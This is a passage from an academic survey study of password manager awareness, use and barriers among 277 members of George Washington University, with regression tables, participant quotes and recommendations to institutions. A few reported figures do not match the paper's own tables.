10. Demographics: Participants were asked to provide their
demographic information.

11. Raffle: Participants were asked whether they wanted to
be considered in a raffle to win a $10 gift card.

Data Analysis We asked participants about the three types
of PMs twice, once in step (3) and once in step (6). This was
done to see whether participants would change their answer
after reading the PM explanatory text. We report only the
final responses from step (6), after the explanatory text, except
when exploring changes in response between (3) and (6).

We applied logistic ordinal regression to analyze factors
that are most influential in awareness and usage of PMs. When
used as factors, the Likert responses to security, tranquility,
fun, ease of use, difficulty of use, annoyance, trust, and trans-
parency questions were binned into agree (Likert values 4
and 5) and disagree (Likert values 1, 2, and 3). We chose this

more conservative binning without a neutral option, in order
to prevent overestimating effects and render interpretation of
the regression analyses more meaningful. Participants’ roles
at the university were binned into students and non-students.
The web-skill and security attitude scales were calculated by
averaging responses within the scale. Participant demograph-
ics (age, gender, ethnicity, race, role at the university) were
control variables. We only report a model’s output with these
demographics when it has a better fit according to the Akaike
information criterion than the model without; otherwise, we
opt for the simpler model. The role had significant predictive
value in only one model (see Section 4.4). Due to the low
number of participants in these groups, we had to exclude
(1) participants identifying as non-binary gender, and (2) par-
ticipants that opted to not disclose their age or gender, when
these factors were included in the models. Lastly, we used
statistical tests to measure significant differences for Likert-
scale and closed-response questions in the survey. The tests’
specifics are discussed when reporting the results.

We used open-coding based on inductive coding [45, 49]
to analyze open-ended responses. Two researchers indepen-
dently coded the responses, with the primary coder developing
the codebook and assigning codes to all responses and the
secondary coder verifying the codebook by coding a random
set of 20%. Cohen’s κ was calculated and discrepancies were
resolved by discussion. In case the kappa value was below
κ < 0.7, another round of coding was performed. Across all
questions, 1.5 rounds were needed on average to reach κ≥ 0.7
(average κ = 0.77, indicating moderate to strong agreement).
For three questions (16, 17, 18 in Appendix A) there were in-
sufficient responses to calculate κ reliably. In those cases, the
primary coder and secondary coder collaboratively assigned
codes. Qualitative results are reported using count data to
avoid over-generalizing.

Recruitment and Demographics Our survey was adminis-
tered at the George Washington University, a private univer-
sity in the US and distributed by the the university’s surveys
office to a random sub-sample of 2,000 students, faculty, and
staff in February 2021. A total of 277 participants responded,
providing a response rate of 13.9%. The email subject line
clearly stated that it was an invitation to a study about PMs
conducted by the Computer Science department.

The sample (see Table 1) consisted of mainly younger
(42 % between 18–34), female-identifying (65 % female, 31 %
male, and 4 % other gender or prefer not to say) staff (47 %
staff, 33 % students, 20 % faculty) and exhibited a medium
web skill (mean = 3.35; sd = 0.92) as well as a medium
security attitude (mean = 4.47; sd = 1.33).

Limitations As is typical, it is difficult to verify whether
online participants followed instructions. We mitigated this
by, first, requiring participants to spend a reasonable duration
of time on certain pages and, second, by reviewing all open-
ended responses to ensure consistency. We only excluded four
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Table 1: Overview of participants’ demographics and comparison to the the George Washington University population. Un-
fortunately, only gender and race/ethnicity data for faculty/leadership and staff was available as data for the entire the George
Washington University population. Percentage totals may not add to 100% due to rounding.

Faculty/Leadership Staff Students Other/Prefer
not to disclose Faculty & Staff Total

Study Uni Study Uni Study Study Study Uni Study

Man 23 (40%) 51% 30 (25%) 39% 31 (34%) 2 (20%) 53 (30%) 43% 86 (31%)
Woman 34 (59%) 49% 82 (70%) 61% 58 (64%) 7 (70%) 116 (66%) 57% 181 (65%)
Non-binary 0 (0%) 0% 0 (0%) 0% 1 (1%) 1 (10%) 0 (0%) 0% 2 (1%)
Prefer not to disclose 1 (1%) 0% 6 (5%) 0% 1 (1%) 0 (0%) 7 (4%) 0% 8 (3%)

18 - 25 1 (2%) - 10 (4%) - 51 (18%) 0 (0%) - - 62 (22%)
26 - 35 4 (7%) - 28 (9%) - 21 (8%) 2 (1%) - - 53 (19%)
36 - 45 9 (16%) - 28 (9%) - 5 (2%) 3 (1%) - - 42 (15%)
46 - 55 14 (25%) - 24 (8%) - 5 (2%) 0 (0%) - - 43 (16%)
56 - 65 13 (23%) - 12 (4%) - 1 (0%) 2 (1%) - - 26 (9%)
>65 3 (5%) - 3 (1%) - 0 (0%) 0 (0%) - - 6 (2%)
Prefer not to disclose 12 (21%) - 22 (8%) - 8 (3%) 3 (1%) - - 45 (16%)

Black or
African American 4 (7%%) 6% 15 (13%) 22% 9 (10%) 2 (20%) 19 (11%) 17% 30 (11%)

Hispanic 2 (3%) 4% 4 (3%) 6% 10 (11%) 0 (0%) 6 (3%) 6% 16 (6%)
White 40 (69%) 72% 74 (63%) 49% 49 (54%) 5 (50%) 112 (63%) 56% 168 (61%)
Other 4 (7%) 16% 13 (11%) 15% 20 (22%) 3 (30%) 20 (11%) 16% 40 (14%)
Prefer not to disclose
blank/unknown 8 (14%) 3% 12 (10%) 6% 3 (3%) 0 (0%) 20 (11%) 5% 23 (8%)

SA-6 mean (sd) 4.53 (1.24) - 4.50 (1.27) - 4.35 (1.45) 4.85 (1.02) - - 4.47 (1.33)
Web Skill mean (sd) 3.48 (1.01) - 3.22 (0.90) - 3.43 (0.87) 3.43 (0.96) - - 3.35 (0.92)

participants out of the 281 that completed the survey.
This study was conducted at a private university in the US

and may not fully generalize. While the 2 000 members of
the George Washington University invited to the survey were
chosen by the university’s survey and research office to be
evenly split along demographic lines and institutional roles,
only a subset participated in the survey, leading to somewhat
skewed demographics when compared to the university popu-
lation (see Table 1). For both, gender and race/ethnicity, there
is a higher percentage of participants with missing data (in
our study “Prefer not to disclose”) for both faculty and staff.
However, despite these skews, we believe that some of the
tendencies in our results (e.g. prevalence of Browser built-in
PMs) likely reflect the population at the George Washington
University and other institutions with similar demographic
profiles, although we cannot speak to how these missing de-
mographic factors may play a role. Our findings also closely
match the qualitative findings of Pearman et al. [42], suggest-
ing that our sample likely matches samples drawn from other
institutions. Ultimately, additional work is needed to explore
PM usage in other countries and contexts.

This study may also suffer from some social desirability
bias where participants modify their responses or behavior to
look more favorable in a security study, particularly for their
university accounts. To mitigate this, we assured participants
that all their responses were anonymous and no personally
identifiable information would be collected.

Finally, our results may suffer from response bias, whereby

participants with stronger opinions of PMs were more likely
to respond to the survey. This could affect results estimating
the awareness as well as usage or non-usage of PMs, and
these measurements should be considered upper bounds. In
the case that the response bias favored participants with pos-
itive experiences with PMs, this would further support the
recommendations to focus on usability rather than security
benefits as these were the primary motivators for adoption.

Ethical Considerations This study was approved by our
Institutional Review Board (IRB), with each participant fully
informed about the purpose, structure, and risks associated
with taking part in the study. We did not collect any pass-
words or personally identifying information from participants
to minimize any risks of loss of confidentiality. Those who
optionally participated in the $10 raffle provided their email
addresses, which were only used to distribute the gift cards,
and were immediately deleted after the raffle was completed.

4 Results

4.1 RQ1 - Awareness
In response to RQ1: Are participants drawn from members
of the George Washington University aware of PMs and their
different types?, we investigate our participants awareness of
PMs in general and of the three types of PMs.

Awareness of Password Managers In General We asked
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Figure 1: Where participants heard about PMs. Participants
could check all that apply.

participants (n=277) whether they were aware of PMs and,
if so, where they had first heard of them (multiple-choice).
The vast majority were aware of PMs prior to the study (see
Figure 1): only 9% of our participants heard about PMs “in
this study” for the first time and thus were unaware (the only
exclusive option). For those aware about PMs, 34% could not
recall where they had first heard about them. Word of mouth
was the most frequently recalled source, mentioned by 28% of
participants. Consequently, it seems that positive experiences
propagated by word-of-mouth might be an important way to
foster awareness of PMs.

We also sought to understand which factors influence partic-
ipants’ awareness of PMs. We therefore ran a logistic regres-
sion on whether participants had heard about PMs before our
survey. We included as factors the participants’ scale scores
for security attitude (SA-6) and web skills, as well as their
demographics (see Table 2). Only the participants’ web skill
score seemed to be a significant factor (ORWeb Skill = 1.90,
p = .036). For each one point increase in a participants’ rat-
ing on the web skill scale, they were 1.90× more likely to be
aware of PMs prior to the study. Thus, being knowledgeable
about internet concepts generally seems to translate to knowl-
edge of PMs. Surprisingly, higher security attitudes (SA-6)
did not significantly explain the variance in PM awareness.
This is not to suggest that security attitudes do not increase
awareness of PMs, but rather that since awareness of PMs
is already widespread, having strong security attitudes (as
measured by the SA-6 scale) was not a strong predictor.

Awareness of Types of Password Managers We also inves-
tigated participants’ awareness of different types of PMs (e.g.,
built into browsers, built into OS, and third-party PMs). We
inquired twice about whether they use any of the three types
of password managers: once during step (3) and once during
step (6), right after participants read through the explanatory
text about PMs (see Section 3). We asked twice to see whether
participants would change their responses after reading our
explanatory text about the different PMs. Table 3 shows how
participants’ responses changed.

Table 2: Logistic regression for participants’ awareness. Sig-
nificant factors are marked in bold italic.

Est. OR 95% CI p-val

(Intercept) −2.02 0.13 [0.01,1.59] .116
SA-6 0.18 1.20 [0.81,1.77] .356

Web Skill 0.64 1.90 [1.07, 3.56] .036
Gender: Woman

(vs Man) 0.88 2.42 [0.88,6.63] .081
Age (in years) 0.03 1.03 [0.99,1.06] .120

Table 3: Changes in PM use before (step 3) and after (step 6)
participants were shown PM explanatory text.

PM type No change Change

OS built-in use before 71 13
non-use before 178 15

Browser built-in use before 144 16
non-use before 94 23

Third-party use before 47 6
non-use before 221 3

Participants’ responses show that most people understand
the differences between the various types of password man-
agers. The majority of participants (75%) responded consis-
tently to the two prompts, indicating the same type of PM used
(or lack thereof). Among the 69 (25%) who made changes
between the two prompts, 39 (14%) changed their answer
about browser built-in PMs: 16 (6%) who originally said they
were using a browser built-in PM realized they were not ac-
tually using one, and 23 (8%) realized that in fact they were.
Changes to operating system built-in PM answers were simi-
lar, but slightly smaller in scale. This suggests that a small but
noticeable portion of participants misunderstood either what
a PM is or what type of PM they use prior to reading our defi-
nitions. On the other hand, few people changed their answer
about third-party PMs, probably because they require explicit,
intentional installation which is difficult to misunderstand.

4.2 RQ2 - General Password Strategies
In this section, we present the results for RQ2: What are the
current password handling strategies of institution members,
and what role do PMs play in these strategies? We begin by
describing participants’ password management strategies for
all their online accounts and the role of PMs in these strategies.
Thereafter, we describe if and how participants synchronize
their passwords across multiple devices. Lastly, we discuss
password reuse across accounts by participants.

Password Management Strategies We were interested in
participants’ password management strategies, and the role
of PMs in the management of their online accounts. Pass-
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Figure 2: Password management techniques of participants
after they saw PMs explanatory text in step (6) (see Section 3).

word management techniques were reported as closed-item
responses based on Pearman et al.’s [42] interviews. The ques-
tion was multiple-choice and thus the percentages do not add
up to 100%. The primary results are presented in Figure 2,
with most participants reporting using multiple strategies,
with a mean of 2.6 (sd=1.3) strategies per participant.

The most common strategies are simply remembering the
password (70%) and using a browser built-in PM (60%). Stor-
ing passwords digitally but not in a PM, such as in a text
document, was also common (39%), as well as physically
writing passwords down (39%). Many participants also re-
ported using an operating system built-in PM (31%), but only
18% of participants indicated that they use a third-party PM.
Surprisingly, 10% of participants said they prefer to reset their
password on each login attempt, while not storing nor remem-
bering the password at all. Our findings support the qualitative
results of Pearman et al. [42], as all of the strategies reported
in their work are also used by some of our participants.

We asked participants who use multiple strategies to man-
age passwords (n=211) how they combine these strategies in
a free-text question. Thirty six participants primarily use one
strategy, with others reserved for specific use cases, e.g.: “I
usually try to just remember the passwords but for less used
accounts I will store the password in the browser or write it
down on a post it next to my computer.” (P220). Frequency of
use was a common theme for differentiating between strate-
gies, along with perceived security requirements for the ac-
count, the complexity requirements for the password, or the
devices the participant needed the passwords on.

Twenty one participants mentioned using different tech-
niques to create redundant means to access their passwords in
case they forgot them, did not have access to a certain device,
or for general safe-keeping, e.g., “Third-party app for my per-
sonal computer and a paper/system method for my GW work
computer. And a paper hard copy for both...just to be sure.”
(P250). Relatedly, 7 mentioned using different strategies for
work and personal accounts while 19 participants stated they
were transitioning from one technique to another, e.g., “It’s
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Figure 3: PMs used by our participants.

very challenging to find a strategy that works. 1Password has
been the most successful. I am trying to transition to using it
for everything.” (P246).

Other ways of combining different strategies included: us-
ing one strategy for single-owner accounts and another for
shared accounts (3), using one strategy for self-managed ac-
counts and another strategy for accounts managed for others
(1), writing passwords down on paper initially to memorize
them (2), and resetting passwords if the password is needed
infrequently (4) or in the face of complex requirements (1).

Lastly, 8 participants indicated not having a specific system
to combine their strategies, e.g, “it’s a mess of strategies, I
admit it” (P53).

PM Use and Satisfaction Overall, 77% of participants use
either a browser built-in PM, an operating system built-in PM,
or a third-party PM to manage their online accounts; this was
higher than we expected. The least commonly used PMs were
third-party PMs. They were used by 18% of all participants
(24% of PM-user participants).

We further asked PM users the specific PM they use most
frequently. This is summarized in Figure 3. The dominant
browser built-in PM is Google Chrome’s PM (54%). This
follows popularity of Google Chrome, which is the most com-
monly used browser in the US1. Participants reported using
four of the third-party PMs we had included in our list: Last-
Pass (9%), 1Password (5%), KeePass (2%) and Dashlane by
one of the 212 PM users. Participants also indicated using
other PMs, with each of the following PMs used by two partic-
ipants: Edge’s browser built-in PM, the Roboform third-party
PM, the Password Safe third-party PM, and Safari’s browser
built-in PM. Keeper, Bitwarden, Norton/Lifelock and 1 cus-
tom solution were used by 1 participant.

We also asked participants about their satisfaction with the
PMs they use. Figure 4 gives an overview of the responses.
Nearly all participants (94%) were extremely, moderately,
or slightly satisfied with their PM. The remaining 6% were

1https://gs.statcounter.com/browser-market-share/
desktop/united-states-of-america/#monthly-202010-202106
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How satisfied are you overall with your experience using  
[Selected Password Manager]?
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Extremely satisfied Moderately satisfied
Slightly satisfied Neither satisfied nor dissatisfied
Moderately dissatisfied Slightly dissatisfied
Extremely dissatisfied

2

Figure 4: Satisfaction with PMs. Note that moderately dissat-
isfied and extremely dissatisfied had 1 response each.
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Figure 5: Techniques to make passwords available across
multiple devices.

neither satisfied nor dissatisfied. This suggests that those who
are using a PM are likely benefiting from them.

Synchronizing Passwords Synchronizing passwords across
devices is critical in password management. Prior work with
older users has reported a mistrust of cloud services and pass-
word synchronization [43]. We sought to understand synchro-
nization habits generally. Figure 5 summarizes our results
(participants could indicate using multiple synchronization
techniques). For PM-users (n=212), synchronizing passwords
across devices was very common: 62% for operating system
built-in PMs, 57% for browser built-in PMs, and 77% for
third-party PMs. About half of participants (57) who store
their passwords digitally but not in a PM (n=109) make them
available across devices (52%). The remaining of these 109
participants synchronize their passwords: 16 (15%) using
manual methods, 34 (31%) using additional synchronization
tools (like Dropbox or Google Drive), and 4 (4%) using both.
Three participants were unsure about using synchronization.
While synchronization is popular, it is most popular among
PM users, potentially because of integrated functionality.

Password Reuse and Password Generators Unfortunately,
password reuse was very common: 77% of all 277 partici-
pants indicated reusing passwords across accounts (see Figure
Figure 6). Password reuse is least pronounced among users
of third-party PMs. Only 47% of third-party PM users reuse
passwords, only about half as prevalent as among those that
write down their passwords (76%) or use an operating system
built-in PM (77%). This is in stark contrast to those who use
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Figure 6: Password reuse across different password manage-
ment strategies.

a browser-based PM, where 84% indicated they reuse pass-
words. A chi-square test showed that users of third-party PMs
were significantly less likely to reuse passwords when com-
pared to other password management strategies (χ = 39.22,
p < 0.01). These findings support those of Lyastani et al. [30]
that users of browser built-in PMs are more likely to reuse
passwords. Interestingly, participants who reset passwords
on each login are the most likely to reuse passwords (93%),
despite selecting passwords they choose not to remember.

One easy way to counteract reuse when using any type
of PM is to use a password generator. Therefore, we asked
PM users (n=212) whether they let the PM generate their
passwords. The majority of PM users (67%) still create their
own passwords, only using the PM to store them. Only 20%
of PM users let the PM generate their passwords, with the
remaining 13% of participants creating the passwords them-
selves and then remembering them without using the PM. The
latter might be proof of participants combining strategies for
redundancy with the PM as fail-safe. However, we can not
draw this conclusion from our data. Even for third-party PMs,
where automated generation is prevalent, only 54% use it. For
browser built-in PMs (13%) and operating system built-in
PMs (20%) password generation is even less prevalent. This
indicates an opportunity to guide PM users towards more
secure password generation strategies, regardless of PM type.

To understand what correlates with the use of password
generators, we ran a logistic regression. We included the par-
ticipants’ scores for security attitude (SA-6) and web skill, cal-
culated as described in Section 3, as well as the perceived secu-
rity of their university account password (see Table 4) and the
eight aspects from the literature (Section 3: security, tranquil-
ity, fun, ease of use, difficulty to use, annoyance, trust, trans-
parency). Of these factors, security attitude (ORSA-6 = 2.22,
p = .002) and perceived security of PMs (ORSecurity = 4.17,
p = .023) have a significant effect. Participants were 2.22×
more likely to generate passwords for each one point increase
in their security attitude and 4.17× more likely to generate
passwords if they agree that PMs are secure.
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Table 4: Logistic regression for participants generating their
password with a PM. Significant factors marked in bold italic.

Est. OR 95% CI p-val

(Intercept) -5.17 >0.00 [>0.00, 0.07] <.001
SA-6 0.80 2.22 [1.38, 3.84] .002

Web Skill −0.35 0.70 [0.34,1.42] .333

Security: Agree
(vs Disagree) 1.43 4.17 [1.23, 14.96] .023

Tranquility: Agree
(vs Disagree) 0.49 1.63 [0.43,6.20] .469

Fun: Agree
(vs Disagree) −0.17 0.84 [0.26,2.62] .774

Ease of Use: Agree
(vs Disagree) −0.39 0.68 [0.18,2.78] .577

Difficulty: Agree
(vs Disagree) −0.71 0.49 [0.04,4.24] .537

Annoyance: Agree
(vs Disagree) 0.47 1.60 [0.38,6.17] .503

Transparency: Agree
(vs Disagree) 0.32 1.38 [0.44,4.31] .572

Trust: Agree
(vs Disagree) 0.63 1.87 [0.60,6.11] .283

Uni. account: More
secure (vs Less secure) −0.25 0.78 [0.29,2.02] .615

4.3 RQ3 - Strategies for the George Washing-
ton University Passwords

We now discuss RQ3: What are the strategies members of the
George Washington University employ specifically for their
university account passwords? This includes participants’ per-
ceived security of their university account passwords, creation
strategies, and their reasons for using these strategies.

Perceived Security of the George Washington University
Password As discussed in Section 3, the password used to
protect an institutional account might be particularly impor-
tant if it becomes the vault password through an institution-
wide deployment of PMs. Figure 7 shows participants’ re-
sponses when asked how their university password compares
to other passwords they have. Most participants (83.2%) said
the password of their university account is at least as secure
as other passwords they have.2 When asked why they chose
the respective security level for their university account pass-
word in a free-text question, the most frequent theme (45
participants) was the importance of this account. Often, par-
ticipants referenced the functions or data that rendered the
account important for them, e.g. “Lots of important stuff in
email including private student data” (P46). Other themes
reported by at least 20 participants included trying to keep

2We note that perceived security can serve as a rough proxy for actual
security against guessing attacks [50].
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Figure 7: How secure the George Washington University
account passwords are compared to other passwords.

all accounts as secure as possible (43 participants), trying
to make it memorable (28 participants), having chosen the
security level with the usage of two-factor authentication in
mind (21 participants), and using the same strategy as for
other passwords (20 participants).

Strategies for Creating the George Washington Univer-
sity Passwords When asked how they create their university
account password in a free-text question, the most common
response was reuse, named by 79 participants. Some detailed
their specific reuse strategies, such as variations on existing
passwords (34 users), e.g., “I used the first half of my standard
password but added a different ending” (P246), or “Each time
I am asked to reset my password, I simply change the [special]
character I use while maintaining the base.” (P17). A few
(5) carried over passwords from previous institutions, e.g., a

“variation of the password that I used at my previous institu-
tion” (P26). Eight participants mentioned reusing existing
passwords exactly: “Same password I always use” (P142).

Another common strategy was to choose the password to
include particular character classes: numbers (58 participants),
letters (31 participants), or special characters (31 participants).
For example, P164 stated, “I thought of a memorable phrase
and passwordified it with some special characters.”. The third
most frequent strategy was to use personal information (25
participants) or dates (18 participants), e.g. “I thought of my
partner and used password based off him that no one would
guess and I would always remember” (P144).

When asked why they use these strategies, the most fre-
quent answer (154 participants) was to make the password
memorable. Some participants detailed how their strategy
helps with memorability, e.g., “This strategy [. . . ] allows me
to record only the special character at the end since the pass-
word base always remains the same.” (P17). Security was
also popular, but named by only 34 participants. Despite the
emphasis on memorability, a majority (57%) rely on autofill
rather than memory to enter their university account password.

4.4 RQ4 - Motivations & Barriers
Finally, we describe the results pertaining to What are the
reasons for use and non-use of PMs?. We first present our
regression results, before discussing motivations and barriers.

General Influencing Factors To understand factors asso-
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Table 5: Logistic regression for participants’ use of PMs.
Significant factors are marked in bold italic.

Est. OR 95% CI p-val

(Intercept) 1.13 3.10 [0.41,25.69] .281
SA-6 −0.22 0.81 [0.53,1.19] .286

Web Skill −0.15 0.86 [0.46,1.59] .624

Security: Agree
(vs Disagree) 1.12 3.06 [0.79,12.61] .113

Tranquility: Agree
(vs Disagree) −1.45 0.24 [0.05,1.01] .0.56

Fun: Agree
(vs Disagree) 0.19 1.21 [0.24,9.27] .835

Ease of Use: Agree
(vs Disagree) 2.68 14.53 [5.51, 43.83] <.001

Difficulty: Agree
(vs Disagree) 1.41 4.08 [0.68,28.34] .135

Annoyance: Agree
(vs Disagree) −0.52 0.60 [0.16,2.32] .444

Transparency: Agree
(vs Disagree) 1.15 3.15 [1.05, 10.35] .047
Trust: Agree
(vs Disagree) 0.84 2.32 [0.81,7.01] .122

Role: Student
(vs non-Student) 0.16 1.18 [0.44,3.26] .750

Uni. account: More
secure (vs Less secure) −0.59 0.55 [0.21,1.36] .198

ciated with the use of PMs, we conducted a logistic regres-
sion. As factors we included participants’ security attitude
scores (SA-6), their web skill level, their role at the George
Washington University, perceived security of their univer-
sity account password and the eight perceptions of PMs: se-
curity, tranquility, fun, ease of use, difficulty to use, annoy-
ance, trust, and transparency. Table 5 shows that only ease
of use (OREase Of Use = 14.53, p < .001) and transparency
(ORTransparency = 3.15, p = .047) significantly increased like-
lihood of adopting a PM. Specifically, participants are 14.53×
more likely to use a password manager if they perceive PMs
as easy to use and 1.15× more likely to use a password man-
ager if they believe they know how PMs work. This shows
that perceived ease of use is key in the adoption of PMs.

The picture gets more diverse when examining factors
that influence adoption of each type of PM individually.
Specifically, for browser built-in PMs, security attitude score
(ORSA-6 = 1.40, p = .025) and ease of use (OREase Of Use =
2.99, p = .003) showed significant effects. For operating
system built-in PMs, ease of use (OREase Of Use = 14.53,
p = .019) was the only significant factor. In contrast, for
third-party PMs, the factors security attitude (ORSA-6 = 1.62,
p= .034), perceived security of PMs (ORSecurity = 15.82, p<
.001), and perceived transparency of PMs (ORTransparency =
4.91, p = .005) are associated with increased adoption,

Table 6: PM aspects most liked by PM users from a closed-
answer question based on Pearman et al. [42].

Aspect % of PM users

Not having to type my passwords (autofill) 49%
Not having to memorize passwords 32%
Sync. passwords for access across devices 7%
Generate strong passwords 6%
Having unique passwords 4%
Viewing my passwords 1%
None of the above 1%

while a participant’s status as student (vs. non-student)
(ORRole Student = 3.11, p < .028) is associated with non-
adoption. Full details of these three regression analyses can be
found in Appendix C. Similar to Pearman et al. [42], our find-
ings indicate that factors driving adoption of browser built-in
PMs and operating system built-in PMs differ from those of
third-party PMs. When trying to foster adoption of any such
tool, it is important to tailor the effort accordingly.

Motivators for PM Adoption To understand the most im-
portant features of PMs to users, we asked PM users (n=212)
about their main reason for using a PM (free-text). The re-
sponses align well with our regression results. Ease of use
for managing passwords was the most frequently cited reason
(60 participants), followed by convenience in managing pass-
words (37 participants). Memorability played an important
role too, with 31 participants citing that PMs help them keep
track of their passwords, 24 citing difficulties remembering
their passwords without a PM, and 24 appreciating that they
do not have to remember their passwords. Other usability
reasons named by more than 2 participants include saving
time during login (17 participants), avoiding repeatedly typing
passwords (13 participants), and passwords being automati-
cally available in browser built-in PMs (7 participants).

Some participants also mentioned security-relevant reasons.
For 22 participants, the main reason to use a PM was to se-
curely store passwords. Ten participants appreciated that PMs
enable unique passwords for accounts, and for 9 participants
the main benefit is allowing them to use stronger passwords.

We also asked PM users (n=212) about the aspect they liked
most about using a PM, based on the aspects identified by
Pearman et al. [42]. Table 6 summarizes these results. Named
by almost half of the PM users (49%), the most frequent aspect
was not having to type passwords (autofill). Memorability was
the second-most important aspect (32%).

We also asked non-PM users who had not used a PM before
(n=52) the main reason that could convince them to adopt a
PM (free text). Most of these participants (18) said they would
not consider using a PM, mostly for security reasons, e.g. “I
do not think that I would ever use a password manager. I am
concerned that if someone were to gain access to my computer
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Figure 8: Password manager adoption if offered by institution.

with a password manager on it, then they could get into any of
my accounts” (P80). Another 15 participants said they might
consider a PM if certain conditions were met, e.g. “Possibly if
I diversify my passwords and have a lot of [accounts]” (P111).
The most frequently cited considerations for the adoption of a
PM were convenience (6 participants) and increased security
(5 participants). Similarly, we asked non-PM users who had
used a password manager before (n=13) about reasons they
might adopt a password manager again. Most prominently, 4
participants said they would not use a PM again.

Lastly, we investigated whether participants would adopt
a third-party PM if it was offered to them for free by the
George Washington University. The results, depicted in Fig-
ure 8, show that most participants are willing to adopt a PM.
For existing PM users, 33% are extremely likely, 24% are
moderately likely and 15% are slightly likely to adopt a PM
if it is offered to them. For non-PM users, 11% are extremely
likely, 24% are moderately likely and 21% are slightly likely
to adopt a PM if it is offered to them. Consequently, efforts
to deploy a PM in an institution seem worthwhile and would
likely see most institution members adopting use of the PM.

Barriers to PM Adoption Lastly, we sought to understand
the challenges that prevent use of PMs by asking the 65 partic-
ipants who did not use a PM for their main reasons (free-text).
The most frequent response, given by 24 non-PM users, was a
lack of trust in the PM, mostly regarding security, e.g. “Why
would I let a random machine know and then autofill my pass-
words? That just seems like an additional ‘person’ that knows
my password, and is therefore additional exposure” (P27).
The second most frequently named reason was that PMs are
not needed (18 non-PM users). Trust seemed to play a key
role, e.g. “I trust my current method and don’t need a change”
(P102). Other reasons mentioned include lack of awareness
of PMs (9 participants), lack of knowledge about PMs (8 par-
ticipants), and the required effort (3 participants). Thirteen of
the 65 non-PM users had used a PM before.

We also asked PM users what they liked least about a PM
as a closed-answer question, based on Pearman et al. [42]’s
themes. The most frequently cited concern was security,
named by 38% of PM users. It was followed by ease of use:
11% of participants were frustrated with entering passwords
on devices without the PM, 9% disliked entering passwords
when the PM is not installed, and 9% complained that PMs
do not work on some sites. Table 7 summarizes the responses.

Table 7: PM aspects least liked by PM users from a closed-
answer question based on Pearman et al. [42].

Aspect % of PM users

Security concerns 38%
Entering passwords on incompatible devices 11%
PMs do not work on all sites 9%
Entering passwords when PM is not installed 9%
Saves passwords that I do not want to save 7%
Vault password concerns 6%
Cannot view passwords 4%
Creates passwords with unacceptable symbols 1%
Other 6%
None of the above 9%

5 Discussion

This paper presents the results of a large-scale quantitative
study of PMs at a large private university in the US. In this
section, we first discuss the results of our study and their
implications. Then, we offer recommendations to institutions
and PM developers that can boost the adoption of PMs.

5.1 Results and Implications

Increasing Awareness of Password Managers Awareness
of PMs is surprisingly high among our participants, with
most learning about PMs via word-of-mouth. Story-telling
approaches that outline positive experiences of using PMs
and dedicated “PM advocates” could also foster adoption of
PMs, harnessing word-of-mouth effects. This is similar to
recommendations made by Haney and Lutters [19] for secu-
rity practices, generally. They noted that advocates that can
establish trust with the audience and be honest about risks
involving security practices have the biggest impact; the same
could be true with PMs, particularly in an institutional setting.
Since they reflect earlier findings, we believe that our results
on how people got aware of PMs are likely to generalize.

Increasing Use of Password Managers While our sam-
ple might be subject to bias as outlined in section 3, we ob-
serve an unanticipated high number of participants using PMs.
Browser built-in PMs are the most popular option. In con-
trast, third-party PMs have substantially lower adoption, but
still exceed previously reported adoption numbers [12]. This
imbalance between the types of PMs is most likely a result
of browser built-in PMs being more readily available within
browsers, unlike third-party PMs that have to be separately in-
stalled on users’ devices. Additionally, browser built-in PMs
are freely available to users compared to most third-party PMs
that require users to purchase licenses to access their full func-
tionality. Nonetheless, additional work is required to explore
the differences between different types of PMs, specifically
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regarding their perceived and real benefits. We also found that
perceived ease of use plays a key role in adoption of PMs,
even more so that security; participants were 14.53× more
likely to use PMs if they found them easy to use. In contrast,
security only played a major role when exclusively consid-
ering third-party PM users, where these participants were
12.8× more likely to adopt PMs if they found them secure.
These results suggest that institutions can play a key role in
fostering the adoption of PMs. Specifically, third-party PMs
can be set up for new users as they are on-boarded to the orga-
nization, similar to efforts to deploy 2FA at institutions [11]
that have proven promising. Adequate support can then be
provided early on to ensure that users can easily use the PM.
For existing members, organizational campaigns promoting
usage of PMs should focus on demonstrating how PMs will
easily help members to manage their passwords, more so than
their security benefits. Since our results regarding PM’s ease-
of-use and security reflect the qualitative findings of Pearman
et al. [42], we believe that these results are very likely to
generalize beyond our sample and setting.

Role of Trust and Transparency Besides ease of use, we
also found that trust, or the lack thereof, plays a key role in
PM usage. Several participants expressed hesitancy towards
using PMs because of concerns with trusting these tools with
all their account passwords. Analysis of the open-ended re-
sponses revealed that concerns surrounding security and trust
were primary when choosing to not use a PM. The importance
of these factors is also supported by our regression analysis,
whereby the perceived transparency of how PMs work made
PM adoption by participants 1.15× more likely. To further
explore factors influencing trust and how well they general-
ize, and in particular potential ways to overcome them, future
work is needed. This might include qualitative work focusing
on PM users that had initial trust issues and how they over-
came them or testing different PM descriptions highlighting
the factors found to be influential in our investigation.

Confirming Prior Qualitative Results The findings of our
study confirm earlier qualitative results by Pearman et al. [42]
indicating that there are different factors driving the adop-
tion of different PMs. For operating system built-in PMs and
browser built-in PMs, ease of use appears key, while per-
ceived security is significant for third-party PMs. We also find
wide-spread password reuse, with 77% of our participants
indicating to do so. However, this was significantly lower
among third-party PM users. We also find that the usage of
PMs’ password generation features is relatively low. Further,
the usability problems among PM users and security concerns
for non-PM users are barriers to the use and adoption of PMs.
Overall, the results from Pearman et al. [42] generalize to the
quantitative results at our institution, which could indicate that
these results might generalize beyond our sample and setting
to other organizations with similar demographic profiles.

5.2 Recommendations to Institutions

One of our goals was to identify how institutions can best di-
rect their efforts in increasing PM adoption. Here, we outline
recommendations for such institutions.

Offering a PM to Members Will Lead to Adoption Our re-
sults seem to support institution-wide introduction of PMs as
worthwhile. A majority of participants (even non-PM users)
indicated willingness to adopt a PM if it was offered to them
for free by an institution they are part of. Further, institution-
wide adoption might be a way to overcome issues regarding
members’ trust in PMs. If the PM is endorsed by the institu-
tion, this signals trust, which might in turn inspire trust in the
PM, further increasing the likelihood of adoption.

Exploit Word-of-mouth Propagation Our results indicate
that word-of-mouth plays an important role in creating aware-
ness about PMs. Consequently, institutions can facilitate PM
users to recommend PMs to others if they want to create more
awareness about them. One way to achieve this might be
through rewards (for example software subscriptions or even
movie tickets) for every successful referral. This could also
be achieved by designating certain members of the institu-
tion, perhaps IT departments, to promote and support their
usage through talks, workshops or other related events. These
sessions can additionally be utilized to address concerns or
misconceptions about PMs. For educational institutions, these
efforts may include lessons on how to set up and properly
use PMs, perhaps as part of coursework or other learning ac-
tivities. These institutions can also establish clubs or other
initiatives to promote secure password behavior within their
institutions, specifically using PMs. When planning these ac-
tivities, efforts should center around ease of use for built-in
browser PMs, and security for third-party PMs. Further, such
activities should be directed at new members of the institution
during initial on-boarding and setup of their devices.

